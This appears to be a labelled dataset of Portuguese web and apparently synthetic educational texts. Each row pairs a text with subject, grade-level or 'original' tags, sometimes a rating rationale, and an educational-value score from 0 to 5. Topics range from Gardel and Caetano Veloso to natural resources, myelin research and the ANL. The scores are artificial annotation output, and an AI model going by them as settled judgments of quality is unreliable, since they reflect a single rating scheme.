+A maioria se cumprimentava com familiaridade, prometendo se ver no mesmo lugar no ano que vem, para lembrar do intérprete de ""El día que me quieras"" e ""Volver"".
+Às 15h10, hora exata do falecimento de Gardel, os presentes fizeram um minuto de silêncio. O cantor morreu em 24 de junho de 1935, em um acidente aéreo em Medellín, na Colômbia, no auge da fama.
+Na Casa Museu Carlos Gardel será apresentado o disco ""Morocho"", uma adaptação pop de 13 clássicos do cantor, interpretados por Leo García, Kevin Johansen, pelo grupo Onda Vaga, pelo brasileiro Moreno Veloso e pelo uruguaio Martín Buscaglia.
+Exposição ""Carlos Gardel, do homem ao mito""
+Fotografias, sapatos, cartas, chapéus e até um terno de Carlos Gardel estão sendo exibidos em Buenos Aires por ocasião do 80º aniversário de sua morte em um acidente de avião que transformou esta referência do tango em um mito para os argentinos.
+Uma gravata, um mate, uma piteira, um violão, presentes, fotos e telegramas são algumas das peças que formam a mostra ""Carlos Gardel, do homem ao mito"", uma denominação que o artista ganhou ao morrer, quando estava no auge de sua carreira.
+A exposição percorre sua vida, sua relação com a música e o cinema e as circunstâncias de sua morte, que conta com uma seção própria na qual são exibidas as manchetes de jornais posteriores à tragédia área, assim como destroços recuperados do acidente e a última foto de Gardel antes de entrar no avião em que realizaria sua última viagem.
+Postado por ArteCultural às 22:56
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+Qual a universidade mais antiga do mundo?
+Se perguntarmos aos terráqueos qual é a universidade mais antiga do mundo ainda em atividade, a maioria deles vai pensar em alguma instituiç...",original,original,original,original,2,0.4
+"Como eram as relações no tempo da ditadura militar? Se você acha que este livro vai contar a história de um casalzinho sem graça inibido pelas proibições da época você está completamente enganado! O livro fala sobre: amor. E não aquele amor que prende, mas o amor que deixa livre.
+Só que Celina é uma mulher tão maravilhosa e Haydée uma jovem tão espirituosa que elas acabam se tornando amigas!
+Afonso é um cara muito bacana, extremamente respeitador e nem um pouco machista! Adorei ele.
+Já a Haydée representa a juventude feminina de hoje também: jovem, determinada, que sabe o que quer e luta pelos seus ideais.
+Sobre o final: eu gostei e não gostei. Não posso falar porquê senão revelaria o que acontece. Mas posso dizer que, como o livro se passa na ditadura militar, tem algo a ver com isso.. Nós temos uma jovem batalhadora e um sistema opressor. Dessa parte eu gostei - muito! -, afinal foram as muitas Haydée's do passado que nos proporcionaram o mundo de hoje.
+O Amor nos Tempos do AI-5 é intenso, sem preconceitos, isento de qualquer forma de ciúme. Uma entrega total de quatro personagens – um casal, cada um com seu amante. Eles entrelaçam seus costumes e seus desejos, sem meias palavras, insinuações ou mentiras, pois o que se busca é o prazer total – e quanto mais, melhor.
+O leitor vai se libertar de todo o preconceito imposto ao comportamento conjugal pelos padrões comuns da sociedade - a mulher cuida da casa e dos filhos e os homens vão além, exibindo amantes aos amigos como se fora um troféu, embora se apresentem ao mundo como cidadãos acima de qualquer suspeita em matéria de ética e de moral.
+Enfim, o escritor propõe uma profunda reflexão em sua obra: a pureza do amor em confronto com a estupidez da extrema violência - não importa se de esquerda ou de direita naqueles tempos do AI-5 da ditadura militar no Brasil. Pois assim é nosso mundo, vasto mundo, como diria Drummond.
+* Luciano Ornelas é jornalista, ex-Editor-Chefe de O Estado de S. Paulo.
+Publicou, ainda, ""As revoluções do século XX"", e ""Da Guerra Fria à Nova Ordem Mundial"", ambos pela editora Contexto. Organizou o ""Dicionário Ilustrado da Inconfidência Mineira""; publicou ""História de Minas Gerais"".",original,original,original,original,2,0.4
+"Olá, pequenos exploradores do mundo das letras! Já pararam para pensar que as histórias são como portais mágicos que nos levam para outros lugares, nos apresentam a personagens incríveis e nos ensinam lições valiosas? Hoje, vamos embarcar em uma aventura especial pelo mundo da literatura brasileira, um tesouro cheio de cores, sons e muita imaginação. 
+
+A literatura brasileira para crianças é como um jardim florido, onde cada livro é uma flor diferente, com seu perfume e beleza únicos. Temos histórias de animais falantes, como o Sítio do Picapau Amarelo, criado pelo Monteiro Lobato, onde a boneca Emília ganha vida e apronta todas com o Pedrinho e a Narizinho. Já imaginaram uma boneca tagarela que adora dar palpites em tudo? 
+
+Outro exemplo maravilhoso são as lendas folclóricas, como a do Saci-Pererê, aquele garoto travesso com um gorro vermelho que pula numa perna só e adora esconder objetos. Ou a Iara, uma sereia que vive nos rios e encanta os pescadores com sua beleza e canto. Essas histórias foram contadas e recontadas por muitas gerações e fazem parte da nossa cultura. 
+
+E por que é tão importante conhecer a literatura brasileira? Porque ela nos ajuda a entender quem somos, de onde viemos e para onde queremos ir. As histórias nos mostram diferentes jeitos de viver, de pensar e de sentir. Elas nos ensinam sobre amizade, coragem, respeito e muitos outros valores importantes. Além disso, a leitura nos ajuda a desenvolver a imaginação, a criatividade e a capacidade de nos expressarmos melhor. 
+
+Imagine que você está lendo um livro sobre um menino que mora na Amazônia e aprende a proteger a floresta. Ao ler essa história, você não só conhece um lugar diferente, mas também aprende sobre a importância de cuidar do meio ambiente. Ou imagine que você está lendo sobre uma menina que enfrenta seus medos e realiza seus sonhos. Essa história pode te inspirar a ser mais corajoso e a nunca desistir dos seus objetivos. 
+
+A literatura brasileira é um presente para todos nós, crianças e adultos. Ela nos convida a sonhar, a imaginar e a aprender juntos. Então, que tal começar a explorar esse mundo mágico agora mesmo? Peça para seus pais, avós ou professores te apresentarem a um livro novo. Visite a biblioteca da sua escola ou da sua cidade e descubra quantas histórias incríveis estão esperando por você. 
+
+Lembre-se: cada livro é uma nova aventura, um novo aprendizado e uma nova oportunidade de se conectar com o mundo e com você mesmo. Boa leitura!",Português,Literatura brasileira,anos iniciais (1º ao 5º ano),"O trecho recebe a pontuação máxima (5) por apresentar alto valor educacional para o ensino fundamental. Introduz a literatura brasileira de forma lúdica e acessível, utilizando exemplos relevantes como o Sítio do Picapau Amarelo e lendas folclóricas. Explica a importância da literatura para o desenvolvimento da identidade cultural, valores e habilidades como imaginação e expressão. O texto é claro, coerente e adequado à faixa etária, incentivando a leitura e a exploração do universo literário.",5,1.0
+"Em 1997, Caetano Veloso lançou seu primeiro livro de memórias. Intitulado Verdade Tropical, o trabalho influenciou até um disco que lançou mais ou menos na mesma época, que ele intitulou de forma espirituosa Livro.
+Na época, não me interessei por lê-lo, ou por viver um momento conturbado em minha vida pessoal, ou por absoluta falta de dinheiro para comprá-lo, ou ainda por temer um amontoado verborrágico de páginas intermináveis.
+Sim, Caetano Veloso é um gênio, um artista brilhante, alguém que há muito deixou o seu nome cravado na cultura brasileira com destaque. Mas em algumas ocasiões ele pode ser meio difícil de se digerir. E um livro parecia ser a mídia mais provável para que isso acontecesse de forma exponencial.
+Treze anos se passaram. Dentro de uma revistaria situada numa rodoviária de São Paulo há algumas semanas, vi uma edição pocket de Verdade Tropical a preço acessível, e me deu um clique: chegou a hora de ler Caetano.
+Me dei bem. Verdade Tropical, que está mais para “Minha Verdade Tropical”, representa pensamentos, opiniões e análises deliciosas de alguém que tem uma infinidade de experiências maravilhosas de vida e que, generosamente, resolveu dividi-las com os interessados.
+Não se trata de uma autobiografia tradicional, pois ele, se conta várias passagens de sua existência pessoal e profissional, prefere centrar fogo na experiência do Tropicalismo.
+Lendo o livro de Caetano, você terá um belo depoimento de quem esteve no centro da criação de um dos mais importantes movimentos musicais da história da música brasileira, cujos frutos influenciam até hoje a música feita no Brasil e no mundo.
+As análises, opiniões e teorias do artista são sempre escritas de forma caudalosa, entusiasmada e ativa, sem subir em cima de muros e sempre tomando partidos nos mais diversos momentos.
+O relato dos meses em que ficou preso pela Ditadura Militar, do final de 1968 até meados de 1969, é uma boa oportunidade de se ver o quanto aquele período foi nefasto na vida política do Brasil.
+Detalhes sobre músicas fundamentais como Tropicália e Alegria, Alegria também tornam a leitura de Verdade Tropical indispensável para quem é apaixonado por música.
+Como não abordou todos os aspectos de sua carreira, fica a esperança de que, um dia, Mr. Veloso possa escrever outro registro desse gabarito, trazendo mais lembranças desses anos intensos de criação e polêmicas de sua vida.
+Só não consigo compartilhar de seu entusiasmo por João Gilberto, que para mim foi, é e sempre será um pioneiro que, com o passar dos anos, virou uma espécie de Chuck Berry da bossa nova, refazendo mal a mesma coisa e sendo ultrapassado pelos artistas que influenciou, entre eles o próprio Caetano. Bem, mas essa é a minha verdade tropical…
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+Everaldo Gomes
+August 18, 2013 at 5:11 pm
+Sempre achei o trabalho de Ivan Lins, um espetáculo,
+de uma criatividade genial,
+um artista diferenciado, e incrível,
+parabéns Ivan Lins,
+por todo esse sucesso,
+” EVERALDO GOMAS”
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+2013 2014 2015 2016 2017 adele billboard bossa nova brasil cantoras brasil CD classic rock clipe dv...",original,original,original,original,3,0.6
+"Olá, pequenos exploradores da história! Já pararam para pensar por que comemos pamonha nas festas juninas, ou por que o carnaval é tão colorido e cheio de música? Tudo isso faz parte das nossas tradições culturais, que são como um tesouro cheio de histórias e costumes passados de geração em geração. 
+
+Imagine que o Brasil é como um grande livro de receitas, onde cada família adiciona um ingrediente especial. Essas receitas são as nossas tradições! Algumas vêm dos povos indígenas, os primeiros habitantes do Brasil, que nos ensinaram a amar a natureza e a usar plantas medicinais. Outras vieram da África, com os africanos que trouxeram ritmos contagiantes como o samba e comidas deliciosas como o acarajé. E não podemos esquecer dos europeus, que trouxeram a língua portuguesa e muitas outras influências. 
+
+As tradições culturais estão por toda parte! Na música que ouvimos, nas danças que praticamos, nas comidas que saboreamos, nas festas que celebramos e até nas histórias que nossos avós nos contam. Elas são como um mapa que nos ajuda a entender quem somos e de onde viemos. 
+
+Que tal observar as tradições da sua família? Talvez vocês tenham um jeito especial de comemorar o aniversário de alguém, ou uma receita secreta de bolo que só a vovó sabe fazer. Essas são as pequenas tradições que fazem a nossa cultura ser tão rica e diversa. E você, o que pode fazer para manter viva as tradições da sua comunidade? Converse com seus pais, avós e vizinhos. Aprenda sobre as festas e costumes da sua região. Assim, você estará ajudando a preservar o nosso tesouro cultural para as futuras gerações. 
+
+Lembre-se, cada tradição é como uma peça de um grande quebra-cabeça. Juntas, elas formam a linda imagem da nossa cultura brasileira. E você é uma peça fundamental dessa história!",História,Tradições culturais,anos iniciais (1º ao 5º ano),"O trecho apresenta alto valor educacional por introduzir o conceito de tradições culturais de forma acessível e envolvente para crianças. Aborda a diversidade das influências culturais no Brasil (indígena, africana e europeia), incentivando a reflexão sobre a identidade cultural e a importância de preservar as tradições locais e familiares. A linguagem é adequada ao público-alvo, e o conteúdo é relevante para o currículo do ensino fundamental.",5,1.0
+"Curso online grátis de Deficiência Visual | Escola de Cursos Online
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+Curso online grátis de Deficiência Visual
+Area de aplicação: Aplica- se à área de Educação
+A Escola de Cursos Online (ESCON) oferece o curso de Deficiência Visual grátis com certificado.
+No curso gratuito de Deficiência Visual o(a) aluno(a) terá acesso a um vasto material, disponível para download, em sua ""Área do aluno"" para estudar e se qualificar quando e onde quiser, disponível 24 horas por dia, 7 dias por semana em nossa plataforma de Ensino a Distância (EAD).
+O curso online grátis de Deficiência Visual possui carga horária variável de 08 a 280 horas. A carga horária final desse curso dependerá exclusivamente da necessidade do(a) aluno(a).
+Conceito e tipos de deficiência visual
+Causas, consequências e fatores de risco da deficiência visual.
+A tecnologia a serviço do deficiente visual.
+Direitos do deficiente visual
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+Vença Desafios com Criatividade",original,original,original,original,4,0.8
+"Para não perder o hábito, durante o último fim de semana gravei mais um vlog para vocês! Já escrevi aqui e repito, é um dos vídeos que mais gosto de gravar, pois sinto que consigo chegar mais perto, mostrar quem sou de fato, minha família, nosso estilo de vida, enfim. Nos vlogs sempre tento passar minha vida real, sem máscaras ou cenas, as vezes assustando vocês sem maquiagem ou de cara inchada, mas tudo bem... *-*
+Se você curte este tipo de vídeo, pega a pipoca e aperta o Play:
+.
+16
+16 comentários:
+Grazipires 22 de julho de 2014 22:54
+Estou viciada...adoro seus vlogs beijosssssssssss
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+Tai 23 de julho de 2014 14:26
+Obrigada Grazi!!
+Feliz em saber :)
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+Anônimo 22 de julho de 2014 23:02
+Adorei o vlog,aquele seu vestido é lindo!Beijo!
+www.temporadapink.com
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+Tai 23 de julho de 2014 14:26
+Também amo ele, sempre quebra meu galho!
+Bjs
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+Unknown 23 de julho de 2014 00:16
+Adorei o seu Blog Taise!!
+estou te seguindo! bjs
+espero sua visitinha! ^^
+http://pontodabelezaa.blogspot.com.br/
+ResponderExcluir
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+Tai 23 de julho de 2014 14:27
+Seja super bem vinda!
+Obrigada pela visita e comentário :)
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+By Quichique By Alice França 23 de julho de 2014 10:48
+Oi Tai,gosto muito dos seus vídeos,faça vídeos mostrando os pontos turistico da sua cidade,um beijo...
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+Tai 23 de julho de 2014 14:29
+Obrigada pelo carinho!
+Vai ser complicado este vídeo viu?! Para ser bem sincera, aqui em Serrinha não tem pontos turísticos :(
+Bjs
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+By Quichique By Alice França 23 de julho de 2014 10:54
+Tai,volte á fazer vídeos de looks,eu sempre vejo deus vídeos antigos,e acho maravilhoso,um beijo...
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+By Quichique By Alice França 23 de julho de 2014 11:00
+Tai,quem fez seu blog? Vc pode indicar? Ele é muito lindo,eu acho o mais bonito da globosfera,e olha que eu vejo muitos,até por que,quem tá na chuva é prá se molhar kkkkkkkk,um beijo e continui assim...
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+Tai 23 de julho de 2014 14:30
+Foi a Simara, ela é ótima!
+Visite a lojinha dela aqui:
+http://lojinha-blogchic.blogspot.com.br/
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+By Quichique By Alice França 23 de julho de 2014 11:07
+Tai,vc tém um chemisiê,azul caneta e eu acho lindo,já está na minha lista para eu copia-lo,eu sei costurar e eu mesma faço minhas roupas,no meu canal á maioria das roupas é eu mesma quem faço,e como anda sua lojinha virtual,beijos linda...
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+Unknown 23 de julho de 2014 16:29
+é ótimo todos os seus vídeos Taise.... Volta a fazer os vídeos dos seus looks, amo.
+Andei sumida mas voltei e já estou colocando todos os vídeos em dia,rrsrs e aliás ficou ainda mais linda após a cirurgia, bjusss
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+Unknown 25 de julho de 2014 00:07
+Oii Taii fiquei muito honrada de você ter lido o meu comentário do instagram no video.Sérioo meus filhos viram e ficaram felizes de ver minha foto e você falando de mim do meu carinho.
+Realmente vicieii nos vlogs toda terça e quinta-feira fico aguardando os vlogs seja do seu dia a dia ou do seu final de semana,e tenho me organizado melhor nas minhas tarefas diárias para ter um tempo para atividade física como eu disse você me ajudou muito vendo toda a sua correria me animou muito.Muito obrigada por ter tido a atenção de ler e compartilhar a minha sugestão.E tenho outra sugestão que tal um #agostotododia já estava amando o #junhotododia.preciso de mais doses de Taise Walber!!!Também gostaria de saber como anda a sua dieta o que você come hoje me dia??quantas refeições ao longo do dia??e quantas horas de sono tem??Mostra você indo malhar as séries que faz ??e se faz alguma aula de dança??Beijos!!!!
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+Respostas
+Tai 25 de julho de 2014 08:02
+Kelly que bom que gostou de aparecer no vídeo!
+Eu adorei de verdade receber aquele comentár...",original,original,original,original,0,0.0
+"(78) 5621-5988 - 0 Comentário(s)
+5621-5988
+Telefone 5621-5988 De quem é 5621 5988
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+"Novas produções da Record sofrem atrasos por falta de planejamento | Detona TV
+Novas produções da Record sofrem atrasos por falta de planejamento
+Guilherme Winter, protagonista de ""Os Dez Mandamentos"" O resultado da lambança e falta de planejamento da Record começam a fic...
+Guilherme Winter, protagonista de ""Os Dez Mandamentos""
+O resultado da lambança e falta de planejamento da Record começam a ficar evidentes. Além da audiência ter despencado no horário nobre, a emissora mantém emperrada a produção de duas grandes novelas bíblicas para este ano.
+Segundo a Record, as gravações da segunda temporada de “Os Dez Mandamentos” começariam em janeiro deste ano. Só que não! A jornalista Patrícia Kogut informa que a Record ainda não convocou o elenco da produção para retomar as atividades. O atores aguardam o chamado da emissora sem ter qualquer informação sobre o retorno. Parte da equipe técnica da trama está envolvida em outros projetos. A empresa trabalha com o mês de março para iniciar a transmissão dos novos capítulos.
+Sobre a “A Terra Prometida”, nos bastidores da Record é cogitado que a trama sofra com alguns atrasos e isso deve resultar em uma nova data de lançamento. Lembrando que a previsão de estreia da nova novela bíblica é 30 de maio, correndo risco de ser adiada. As externas começarão neste mês, no entanto, os trabalhos em estúdio ficarão para março. Renato Modesto, autor da trama, já entregou 32 capítulos para a produção da novela.
+É rotina a Record atrasar suas produções, o desafio é por um ponto final nelas.
+Detona TV: Novas produções da Record sofrem atrasos por falta de planejamento
+http://4.bp.blogspot.com/-UUPDOgzXkHY/VpUVNo4adII/AAAAAAAAAqc/CCSgsxAk0b0/s640/novela-b%25C3%25ADblica.jpg
+http://4.bp.blogspot.com/-UUPDOgzXkHY/VpUVNo4adII/AAAAAAAAAqc/CCSgsxAk0b0/s72-c/novela-b%25C3%25ADblica.jpg
+https://www.detonatv.com.br/2016/01/sem-planejamento-novas-producoes-da.html
+http://www.detonatv.com.br/2016/01/sem-planejamento-novas-producoes-da.html",original,original,original,original,1,0.2
+"Já parou para pensar de onde vêm as coisas que usamos no dia a dia? A água que bebemos, a madeira da nossa mesa, o minério do nosso celular, até mesmo o vento que sentimos no rosto… Tudo isso vem da natureza, dos chamados recursos naturais! E o Brasil, nosso país gigante e diverso, é incrivelmente rico nesses recursos. 
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+Mas, afinal, o que são recursos naturais? São tudo aquilo que a natureza nos oferece e que utilizamos para viver e nos desenvolver. Eles podem ser renováveis, como a água, o solo, o ar, a energia solar e a biomassa (matéria orgânica de plantas e animais), que se regeneram naturalmente em um período relativamente curto. Também existem os recursos não renováveis, como o petróleo, o carvão mineral, o ferro e outros minerais, que levam milhões de anos para se formar e, uma vez utilizados, não podem ser repostos em um tempo útil para nós. 
+
+O Brasil possui uma grande diversidade de recursos naturais renováveis, como a maior floresta tropical do mundo, a Amazônia, rios extensos e volumosos como o Amazonas e o São Francisco, além de uma vasta área costeira com grande potencial para energia eólica (dos ventos) e solar. Essa riqueza nos permite produzir alimentos, gerar energia e construir moradias, mas também traz uma enorme responsabilidade: a de usar esses recursos de forma consciente e sustentável. 
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+A exploração descontrolada dos recursos naturais pode trazer sérios problemas para o meio ambiente e para a nossa qualidade de vida. O desmatamento, por exemplo, causa a perda de biodiversidade, o aumento do efeito estufa e a erosão do solo. A poluição da água e do ar afeta a saúde das pessoas e dos animais. A mineração predatória destrói paisagens e contamina o solo e a água. 
+
+Por isso, é fundamental que todos nós, cidadãos brasileiros, aprendamos a valorizar e a proteger os nossos recursos naturais. Pequenas atitudes no dia a dia podem fazer uma grande diferença: economizar água, separar o lixo para reciclagem, consumir produtos de empresas que respeitam o meio ambiente, plantar árvores e denunciar crimes ambientais. O futuro do Brasil e do nosso planeta depende das nossas escolhas! Que tal começar hoje mesmo a repensar a sua relação com a natureza? Você já parou para pensar na quantidade de água que gasta ao escovar os dentes? E que tal começar a usar mais o transporte público ou a bicicleta em vez do carro?",Geografia,Recursos naturais,anos finais (6º ao 9º ano),"O trecho apresenta informações básicas relevantes sobre recursos naturais, define conceitos importantes como renováveis e não renováveis, e discute a importância da sustentabilidade. A linguagem é acessível e o conteúdo é adequado para o ensino fundamental, promovendo a conscientização sobre o uso responsável dos recursos naturais e incentivando ações cotidianas para a preservação ambiental. Aborda questões como desmatamento, poluição e mineração predatória, ressaltando a necessidade de proteger os recursos naturais.",5,1.0
+É PAR OU ÍMPAR? BRINCANDO É MAIS FÁCIL DE APRENDER!,original,original,original,original,4,0.8
+"Você sabia que o isolamento social causa problemas na bainha de mielina? | Mistérios do Cérebro
+Mistérios do Cérebro
+Para os amantes do sistema nervoso
+> Isolamento social	> Você sabia que o isolamento social causa problemas na bainha de mielina?	Você sabia que o isolamento social causa problemas na bainha de mielina?
+Suzana Benitez	Deixe um comentário
+Aqui estamos nós de novo! Hoje o tema é: formação da bainha de mielina e suas complicações decorrentos do isolamento social precoce. Sabe-se que o isolamento social (quando jovem) resulta em alterações comportamentais, como dificuldades de interação com outras pessoas, e também alterações cognitivas no ser humano. Quando um estudo foi feito em macacos rhesus, observou-se que eles possuíam complicações na memória também. As alterações decorrentes do isolamento social, ocorrem principalmente nas regiões de substância branca do cérebro (aquelas regiões onde predominam os axônios com suas bainhas de mielina, ou seja, local onde passam fibras que irão conectar vários neurônios dentro do cérebro), e principalmente, em uma região chamada córtex pré-frontal.
+Sendo assim, um grupo de pesquisadores de Harvard pesquisaram se o isolamento social afetava, de alguma forma, a bainha de mielina. Para isso, eles utilizaram camundongos com idade de 21 dias, e deixaram eles isolados (um em cada gaiola) por 2 ou 4 semanas. Compararam esses camundongos com outros que viveram pelas mesmas semanas em condições normais, ou seja, com mais camundongos nas gaiolas.
+Alguns dos resultados dessa pesquisa foram que os oligodendrócitos (as células responsáveis por produzir a bainha de mielina ao redor dos neurônios) dos animais isolados eram mais simples, com menos prolongamentos, com menos ramificações e a bainha de mielina se tornou mais fina. Além disso, houve redução na expressão de genes relacionados com a produção da bainha de mielina e mudanças na produção do neurotransmissor dopamina. Com tudo isso, que eles determinaram, é que, após um período crítico de isolamento social de camundongos jovens (que é de 2 semanas), a maturação de oligodendrócitos foi prejudicada. Isso tudo promoveu alterações de comportamento social e também afetou prejudicou a memória dos camundongos isolados.
+Mas o que tem a ver os oligodendrócitos com os comportamentos sociais? Uma das coisas que pode ser levada em conta, é que a espessura da bainha de mielina fica menor, fato este que diminui a velocidade da condução do impulso nervoso dentro do axônio. Isso pode desencadear um processamento anormal da informação, o que culmina com comportamentos prejudicados e falta de memória. Uma outra possibilidade é de que as alterações na produção de dopamina estejam contribuindo para produzir alterações comportamentais e também alterações de memória.
+Ou seja galerinha, a maturação de oligodendrócitos é dependente de experiência social! Por isso, futuros e atuais papais e mamães, proteção é importante, mas vamos com calma! As crianças precisam ter interação com outras crianças e outras pessoas para o correto desenvolvimento do seu sistema nervoso!
+Fonte: Manabu Makinodan, et al. A Critical Period for Social Experience–Dependent Oligodendrocyte Maturation and Myelination. Science. 2012.
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+Categorias:Isolamento social
+Tags:bainha de mielina, comportamento, dopamina, isolamento social, oligodendrócitos, sistema nervoso
+Comentários (1)	Trackbacks (1)	Deixe um comentário
+Flavia	20/03/2013 às 22:39	Resposta	Adorei
+22/08/2014 às 11:10	Isolamento social encurta a sua vida! | Mistérios do Cérebro	Deixe um comentário! Cancelar resposta	Insira seu comentário aqui...
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+"Você já parou para pensar como a leitura transforma a nossa maneira de ver o mundo? Ler não é apenas juntar letras e formar palavras; é embarcar em uma viagem, conhecer novos lugares, personagens e ideias, tudo sem sair do lugar! 
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+Imagine que você está lendo um artigo sobre a Amazônia. Através das palavras, você consegue visualizar a floresta, os rios, os animais e até mesmo sentir o calor úmido da região. A leitura nos transporta para outros universos, expandindo nossos horizontes e nos tornando mais curiosos e informados.
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+A interpretação de texto é como decifrar um código secreto. O autor de um texto, seja ele um livro, uma notícia ou até mesmo uma postagem nas redes sociais, sempre tem um objetivo ao escrever. Ele quer transmitir uma mensagem, expressar uma opinião ou contar uma história. Para entendermos completamente o que o autor quer nos dizer, precisamos ir além das palavras e identificar a mensagem principal do texto.
+
+Um exemplo prático: imagine que você está lendo uma notícia sobre o aumento do preço dos alimentos. A notícia pode informar apenas os números, mas uma interpretação mais profunda pode levar você a refletir sobre as causas desse aumento, como a seca, a inflação ou a especulação do mercado. Além disso, você pode pensar sobre as consequências desse aumento para a sua família e para a sociedade em geral.
+
+Para se tornar um bom leitor e intérprete de textos, é importante praticar a leitura regularmente e desenvolver algumas habilidades. Uma delas é a capacidade de identificar as palavras-chave do texto, que são aquelas que carregam o significado principal da mensagem. Outra habilidade importante é a capacidade de fazer inferências, ou seja, de tirar conclusões a partir das informações apresentadas no texto, mesmo que essas informações não estejam explícitas.
+
+Experimente ler diferentes tipos de textos, como notícias, artigos de opinião, contos, poemas e romances. Observe como cada tipo de texto utiliza a linguagem de forma diferente e como cada um deles pode te ensinar algo novo. Ao final de cada leitura, faça perguntas a si mesmo: Qual era o objetivo do autor ao escrever esse texto? Qual é a mensagem principal que ele queria transmitir? Quais são as ideias mais importantes apresentadas no texto? 
+
+A leitura e a interpretação de textos são ferramentas poderosas que nos ajudam a compreender o mundo e a nós mesmos. Ao dominarmos essas habilidades, nos tornamos cidadãos mais críticos, informados e capazes de tomar decisões conscientes. Então, que tal começar agora mesmo a desvendar os segredos da leitura e a embarcar nessa aventura fascinante?",Português,Leitura e interpretação de texto,anos finais (6º ao 9º ano),"O texto apresenta alto valor educacional, introduzindo a importância da leitura e interpretação de textos de forma clara e envolvente. Aborda habilidades essenciais para o desenvolvimento do pensamento crítico e compreensão do mundo, além de sugerir práticas para aprimorar essas habilidades. A linguagem é acessível e o conteúdo é adequado para alunos do ensino fundamental, fomentando o interesse pela leitura e o aprendizado contínuo.",5,1.0
+"Podemos afirmar, que o conceito de ruralidade abrange todas as ilhas. È neste quadro que o homem e a mulher rural açorianos, conseguem fazer funcionar em seu redor os espaços caracterizados pela predominância da utilização do solo, numa intima ligação à paisagem, aos recursos e às condições que de uma forma natural são aproveitadas pelos conhecimentos e saber de quem conhece e domina bem os segredos de uma profissão.
+Os segredos da profissão de agricultor, permitiu não só produzir e gerar economia, não só prover as necessidades básicas do Homem, como ser também responsável pelo ordenamento do território, que se verifica desde o povoamento do arquipélago, passando pelo embelezamento, preservação e protecção da nossa paisagem.
+Esta última componente, de preservação e protecção da paisagem, conjugada com a capacidade de produzir, faz hoje um sector de enormes responsabilidades, no quotidiano e na definição da própria qualidade de vida das populações.
+Foi de facto o colocar em prática os segredos e o saber dos primeiros povoadores que natural e habilmente os passaram de geração em geração, que hoje nos permite deparar nas nossas ilhas com óptimos exemplos em matéria de produção agrícola e pecuária, bem como a implantação nos locais próprios das culturas mais indicadas. Exemplo fiel deste facto é a edificação de autênticas obras de arte relacionadas com a cultura da vinha.
+A exemplo daquilo que se passa nas ilhas do Pico, da Graciosa e Santa Maria, a ilha Terceira, nomeadamente na freguesia dos Biscoitos, tem largas tradições na cultura da vinha e na produção de vinho licoroso – O Verdelho. Esta tradição não se esgota apenas na actividade vitivinícola, mas motiva e proporciona uma das paisagens mais belas e invulgares da ilha que lhe é conferida pelo rendilhado das curraletas construídos em pedra solta que a partir da Primavera se envolvem num sem número de folhas verdes (as parras da videira), um pureza que se mistura e se reflecte no azul do mar, condimentado pelos tons acinzentado e acastanhado dos rochedos vulcânicos que na costa suportam o embate do oceano que nos envolve.
+O rendilhado e o reticulado da paisagem é atribuído à existência das curraletas de pedra solta que tinham e têm como principal objectivo a defesa da cultura da vinha contra a acção dos ventos fortes, em particular ressalgas (ventos do mar), bem como proporcionar um microclima muito especial à volta da videira, concentrando o calor que esta necessita e assim minimizar as amplitudes térmitas verificadas entre o dia e a noite, beneficiando toda a planta e em particular, o seu mecanismo natural de crescimento, emprestando simultâneamente e de modo acentuado, uma importância paisagística, ambiental, histórica e patrimonial que não podemos ignorar.
+E, o não podemos ignorar, desencadeou na comunidade da freguesia dos Biscoitos e em muitos outros sectores da sociedade civil, uma vontade em classificar a Zona Demarcada onde se produz o Vinho Licoroso de Qualidade Produzido em Região Determinada – V.L.Q.P.R.D. – “Biscoitos”, como Área de Paisagem Protegida de Interesse Regional, de acordo com a legislação existe, por forma a preservar-se um património natural, característico desta zona vitícola, que constitui um elevado interesse paisagístico, histórico-cultural e agrícola, que deverá em todos fazer reflectir a sua importância no sentido de se preservar e proteger.
+* Director Regional do Desenvolvimento Agrário
+(continua)
+Outros :
+Planta da Freguesia dos Biscoitos (ano 1830) aqui
+Plantas Vasculares nas Vinhas dos Biscoitos (ano 1971) aqui.
+""A vinha perde-se e a população nada ganha"" (ano 1994) aqui.
+""Região de Biscoitos, nos Açores - Casas em vez de vinhas"" - Santos Mota (ano 1994) - aqui.
+""Biscoitos: que futuro? ""-José Aurélio Almeida (ano 1996) - aqui.
+""As Vinha dos Biscoitos"" -Bailinho de Carnaval da Freguesia das Fontinhas. (ano 1997) aqui.
+""Uma virada nos Biscoitos""(Açores)- (ano 1998) aqui.
+O viticultor açoriano está envelhecido (ano 1998/99) aqui
+“Provedor de J...",original,original,original,original,3,0.6
+"Aliança Nacional Libertadora
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+A Aliança Nacional Libertadora (ANL) foi uma organização política fundada pelo Partido Comunista do Brasil em 1935.
+O manifesto público da Aliança, lido na Câmara dos Deputados no dia 17 de janeiro de 1935 pelo deputado Gilberto Gabeira, representante dos trabalhadores, expressava a indignação do povo com relação à situação política e econômica do Brasil em decorrência do governo de Getúlio Vargas.
+Resumo
+A organização surge quando um grupo de intelectuais e militares, socialistas e comunistas descontentes com o governo de Getúlio Vargas, se reúne e começa a elaborar as bases para lutar contra o fascismo, o imperialismo e o integralismo, que era o principal objetivo do então presidente Vargas. Importa referir que a Ação Integralista Brasileira (AIB) , organização política de bases fascistas, criada em 1932, contava com o apoio de Vargas.
+Luís Carlos Prestes , conhecido com o ""Cavaleiro da Esperança"", era o presidente de honra da ALN e era bastante conhecido, uma vez que entre 1925 e 1927 tinha comandado o movimento Coluna Prestes , uma luta contra as elites. Assim, em pouco tempo a aliança ganha aliados à medida que milhares de cidadãos se filiam à ANL. Na sequência, tornam-se frequentes os conflitos entre integralistas e aliancistas, tal como são conhecidos respetivamente os membros da AIB e da ANL.
+A atividade dos aliancistas dura poucos meses, pois a aliança se torna ilegal em julho de 1935, a partir de um discurso exaltado de Carlos Prestes, em que o mesmo propõe a queda do governo.
+Mediante essa agitação iniciada por Prestes, o presidente da república, que teme a popularidade da Aliança, manda fechar a organização tendo como base a Lei da Segurança Nacional - chamada de ""Lei Monstro"" pela oposição.
+Programa Político da ANL
+Suspensão do pagamento da dívida externa do Brasil
+Luta contra o latifundiário e o imperialismo
+Defesa da reforma agrária
+Nacionalização de empresas estrangeiras
+Garantia da democracia
+Constituição de um governo popular
+Intentona Comunista
+Em novembro de 1935, Carlos Prestes planeia um golpe ao governo, conhecido como Intentona Comunista . Consistindo uma movimentação que teve lugar no Rio Grande do Norte, Recife e Rio de Janeiro, durou 4 dias e terminou com a prisão dos seus membros, inclusive a de Carlos Prestes.
+Saiba mais sobre o período em que Getúlio Vargas governou o Brasil em Era Vargas .",original,original,original,original,4,0.8
